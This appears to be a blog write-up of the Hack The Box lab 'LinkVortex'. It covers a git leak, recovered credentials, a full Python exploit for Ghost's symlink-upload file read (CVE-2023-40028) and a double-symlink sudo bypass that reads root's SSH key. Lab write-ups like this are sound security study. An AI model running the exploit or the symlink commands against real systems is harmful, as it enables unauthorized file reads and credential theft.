HTB-LinkVortex

本文最后更新于 2025年4月15日 凌晨

git 泄露,由 symlinks 导致的任意文件读取漏洞

枚举

nmap 端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
└─# nmap -sS -sV -A -Pn 10.10.11.47
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-13 19:34 CST
Nmap scan report for 10.10.11.47
Host is up (0.36s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=4/13%OT=22%CT=1%CU=33150%PV=Y%DS=3%DC=T%G=Y%TM=67FB
OS:A18A%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=10D%TI=Z%CI=Z%TS=A)SEQ(S
OS:P=108%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53AST11NW7%O2=M53AST11NW
OS:7%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST11NW7%O6=M53AST11)WIN(W1=FE88%
OS:W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53AN
OS:NSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=
OS:Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=A
OS:R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=4
OS:0%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=
OS:G%RIPCK=G%RUCK=F845%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 554/tcp)
HOP RTT ADDRESS
1 0.40 ms butt3rf1y.mshome.net (172.30.144.1)
2 404.35 ms 10.10.16.1
3 258.09 ms 10.10.11.47

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.82 seconds

开放了 80 和 22 端口

访问 80 端口

80 端口除了得出使用了 Ghost 框架和有一个 admin 用户就没什么有用的信息了

dirsearch 目录扫描

只有一个 robots.txt

访问 /robots.txt 发现还有几个路由

只有 /ghost 路由才能访问上,得到了一个登录界面,但是没登录邮箱和密码

gobuster 子域名扫描

目前来说没什么有用的信息,所以来对子域名进行枚举

1
gobuster vhost -u http://linkvortex.htb -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt --append-domain

有一个 dev.linkvortex.htb 子域名

访问发现依然没有什么东西

再次对子域名目录进行扫描,发现了 .git 路由

访问得到了很多文件,应该有 .git 泄露

git 泄露

git-dumper 把仓库 dump 到本地

1
git-dumper http://dev.linkvortex.htb/.git ./

git status 查看仓库的状态

查看最近更新的 /ghost/core/test/regression/api/admin 下的 authentication.test.js 文件,在其中发现了一些形如下图的 email 和 password

1
2
3
4
5
6
7
8
it('complete setup', async function() {
const email = 'test@example.com';
const password = 'OctopiFociPilfer45';

const requestMock = nock('https://api.github.com')
.get('/repos/tryghost/dawn/zipball')
.query(true)
.replyWithFile(200, fixtureManager.getPathForFixture('themes/valid.zip'));

linkvortex.htb/ghost/#/signin 尝试登录,有很多个 email 和 passwd 都登不进去

前面在网页中发现有 admin 账户,构造 admin@linkvortex.htb 邮箱,最后用下面的用户名和密码登录进去了

1
admin@linkvortex.htb:OctopiFociPilfer45

进入后台

登陆进去后通过 Wappalyzer 可以发现当前 Ghost 的版本是 5.58,找到了相关 CVE:CVE-2023-40028, 5.59.1 之前的版本允许经过身份验证的用户上传符号链接文件(symlinks),导致任意文件读取操作

根据漏洞写 POC 脚本

poc for CVE-2023-40028

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import os
import random
import sys
import string
import getopt
from pathlib import Path


def usage():
print(f"Usage: {sys.argv[0]} --url <http://example.com> -u <username> -p <password>")


def generate_random_name(length=13):
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))


def generate_exploit(file_to_read, payload_path, image_name):
# 创建完整的目录结构
image_dir = payload_path / "content/images/2024"
image_dir.mkdir(parents=True, exist_ok=True)

# 创建符号链接文件
symlinks_path = image_dir / f"{image_name}.png"

# 创建 symlinks
os.system(f"ln -s {file_to_read} {symlinks_path}")
# 打包 zip
os.system(f"zip -r -y {payload_path} ./exp/ &>/dev/null")


def clean(payload_path, image_name):
# 清理产生的文件
os.system(f"rm -f {payload_path}/content/images/2024/{image_name}.png")
os.system(f"rm -f {payload_path}.zip")
os.system(f"rm -rf {payload_path}")


def main():
try:
opts, _ = getopt.getopt(sys.argv[1:], "u:p:", ["url="])
except getopt.GetoptError:
print(f"Usage: {sys.argv[0]} --url <http://example.com> -u <username> -p <password>")
sys.exit(1)

# 从命令行读取参数执行
Ghost_Url = username = password = None
for opt, arg in opts:
if opt == "-u":
username = arg
elif opt == "-p":
password = arg
elif opt == "--url":
Ghost_Url = arg.rstrip("/")
if not (Ghost_Url and username and password):
print("Necessary parameters are missing,maybe url or username or password...")
sys.exit(1)
Ghost_API = f'{Ghost_Url}/ghost/api/v3/admin/'
payload_path = Path(__file__).parent / "exp"
payload_path.mkdir(exist_ok=True, parents=True)

# curl 创建会话并保存 cookie
os.system(
f"curl -c cookie.txt -d username={username} -d password={password} -H \"Origin: {Ghost_Url}\" -H \"Accept-Version: v3.0\" {Ghost_API}session/ > /dev/null 2>&1")

# 检测 cookie 是否有效
if os.system("grep -q ghost-admin-api-session cookie.txt") != 0:
print("Invalid username or password")
os.system(f"rm -f cookie.txt")
sys.exit(1)

while True:
file_to_read = input("file> ").strip()
if file_to_read.lower() == "exit":
break
if " " in file_to_read or not file_to_read:
print("please enter a valid file path:")
continue
if not file_to_read:
continue

# 生成 payload
image_name = generate_random_name()
generate_exploit(file_to_read, payload_path, image_name)

# 上传 zip
upload_path = os.popen(
f'curl -s -b cookie.txt '
f'-H "X-Ghost-Version: 5.58" '
f'-H "Referer: {Ghost_Url}/ghost/" '
f'-H "Origin: {Ghost_Url}" '
f'-F "importfile=@./exp.zip;type=application/zip" '
f'"{Ghost_Url}/ghost/api/v3/admin/db"'
).read()
if "error" in upload_path.lower():
print(f"upload failed: {upload_path}!!!")
else:
print(f"upload successful!!!")

# 读取目标文件
file_url = f"{Ghost_Url}/content/images/2024/{image_name}.png"
print(f"requesting {file_url}")
response = os.popen(f"curl -b cookie.txt -s {file_url}").read()
if "Not Found" in response:
print(f"file {file_url} not found")
else:
print(f"Received!")
print(response)

clean(payload_path, image_name)


if __name__ == "__main__":
main()
1
python3 exp.py --url http://linkvortex.htb/ -u admin@linkvortex.htb -p OctopiFociPilfer45

能够成功读取 /etc/passwd 下的文件,但是其中并没有什么有用的用户

当访问 dump 下来仓库中的 Dockerfile.ghost 文件时发现

当前目录下的 config.production.json 文件复制到镜像内部的 /var/lib/ghost/ 目录下

来读取一下 /var/lib/ghost/config.production.json 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}

得到用户名和密码

1
bob@linkvortex.htb:fibber-talented-worth

ssh 连接拿到 userflag

权限提升

sudo -l 查看可 sudo 执行的文件

sudo -l 发现可以执行 /opt/ghost/ 目录下的 clean_symlink.sh 文件

1
2
3
4
5
6
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

那么切入点应该就在这个文件上面,查看文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi

检测传入的 .png 文件是否为符号链接,如果符号链接指向 /etc 或者 /root 目录就直接删除,不是的话就移动到 /var/quarantined 目录,当 $CHECK_CONTENT= True 时会执行 cat 命令显示读取的文件内容

双层符号链接绕过检测

如果直接链接 /root 下的文件肯定会被检测到,绕过方法就是双层符号链接,将 /root 下的文件链接到其他文件夹下的文件,然后再链接为 .png 文件得以读取,因此我们在现在的目录下创建一个文件去链接 /root/.ssh/id_rsa 文件,然后用 ssh 私钥去登录 root 账户

1
2
3
ln -s /root/.ssh/id_rsa rsa.txt
ln -s /home/bob/rsa.txt rsa.png
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/rsa.png

将得到的私钥保存为 id_rsa 给 600 的权限登录

成功进入 root 账户


HTB-LinkVortex
http://example.com/2025/04/14/HTB-LinkVortex/
作者
butt3rf1y
发布于
2025年4月14日
许可协议